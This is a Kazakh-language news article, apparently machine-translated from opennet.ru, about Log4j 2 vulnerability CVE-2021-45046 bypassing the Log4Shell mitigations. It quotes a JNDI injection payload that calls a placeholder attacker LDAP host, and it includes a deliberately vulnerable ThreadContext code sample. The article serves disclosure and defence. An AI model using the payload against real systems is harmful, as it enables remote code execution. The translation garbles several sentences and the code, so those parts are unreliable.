Log4j 2 үшін қосымша қорғанысты айналып өтуге мүмкіндік беретін жаңа шабуыл опциясы

Log4j 2 кітапханасында (CVE-2021-45046) JNDI іздеулерін іске асыруда тағы бір осалдық анықталды, ол 2.15 шығарылымында қосылған түзетулерге қарамастан және қорғау үшін «log4j2.noFormatMsgLookup» параметрін пайдалануына қарамастан пайда болады. Мәселе негізінен «noFormatMsgLookup» жалаушасы арқылы қорғалған Log4j 2 ескі нұсқалары үшін қауіпті, себебі ол алдыңғы осалдықтардан (Log4Shell, CVE-2021-44228) қорғауды айналып өтуге мүмкіндік береді, бұл кодты компьютерде орындауға мүмкіндік береді. сервер. 2.15 нұсқасының пайдаланушылары үшін пайдалану қол жетімді ресурстардың таусылуына байланысты қолданбаны бұзумен шектеледі.

Осалдық тек ${ctx:loginId} немесе %X, %mdc және %MDC сияқты MDC үлгілері (Thread Context Map) сияқты журналға жазу үшін Мәтінмәндік іздеулерді пайдаланатын жүйелерде ғана пайда болады. Операция журналға шығаруды пішімдеу ережелерін анықтайтын қолданбада мәтінмәндік сұрауларды немесе MDC үлгілерін пайдаланған кезде журналға JNDI ауыстырулары бар деректерді шығару үшін шарттарды жасаумен байланысты.

LunaSec зерттеушілері Log4j нұсқасының 2.15-тен төмен нұсқалары үшін бұл осалдықты Log4Shell шабуылының жаңа векторы ретінде пайдалануға болатынын атап өтті, егер сыртқы деректерді қамтитын ThreadContext өрнектері журнал шығысында пайдаланылса, кодты орындауға әкеледі. "қорғау" жалаушасы қосылған. noMsgFormatLookups" немесе "%m{nolookups}" үлгісі.

Log4j 2 үшін қосымша қорғанысты айналып өтуге мүмкіндік беретін жаңа шабуыл опциясы

Қорғауды айналып өту «${jndi:ldap://attacker.com/a}» дегенді тікелей ауыстырудың орнына бұл өрнек журнал шығысын пішімдеу ережелерінде пайдаланылатын аралық айнымалының мәні арқылы ауыстырылады. . Мысалы, журналға шығару кезінде ${ctx:apiversion} мәтінмәндік сұрауы пайдаланылса, онда шабуылды "${jndi:ldap://attacker.com/a}" деректеріне ауыстыру арқылы жүзеге асыруға болады. apiversion айнымалысына жазылған мән. Әлсіз кодтың мысалы: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd СС:мм:ss} -5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-нұсқасы" HTTP тақырыбының мәні ThreadContext ThreadContext.put("apiversion" файлына жіберіледі. ", apiVersion ); // Журналға шығару кезінде сыртқы апиверсиондық мән ауыстыру ${ctx:apiversion} logger.info("API нұсқасына сұрау алынды") арқылы өңделеді; қайтару «Сәлем, әлем!»; }

Log4j 2.15 нұсқасында осалдықты ThreadContext-ке мәндерді беру кезінде DoS шабуылдарын орындау үшін пайдалануға болады, бұл шығыс пішімдеу үлгісін өңдеуде циклге әкеледі.

Log4j 2 үшін қосымша қорғанысты айналып өтуге мүмкіндік беретін жаңа шабуыл опциясы

2.16 және 2.12.2 жаңартулары осалдықты блоктау үшін жарияланды. Log4j 2.16 тармағында 2.15 нұсқасында енгізілген түзетулерге және JNDI LDAP сұрауларын «localhost» қызметіне байланыстыруға қоса, JNDI функциясы әдепкі бойынша толығымен өшірілген және хабарды ауыстыру үлгілеріне қолдау жойылған. Қауіпсіздікті шешу үшін JndiLookup сыныбын сынып жолынан жою ұсынылады (мысалы, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .

Сіз дистрибутивтердің (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) және Java платформасының өндірушілерінің (GitHub, Docker, Oracle, vmWare, Broadcom және Amazon/AWS, Juniper, VMware, Cisco, IBM , Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure және т.б.).

Ақпарат көзі: opennet.ru

пікір қалдыру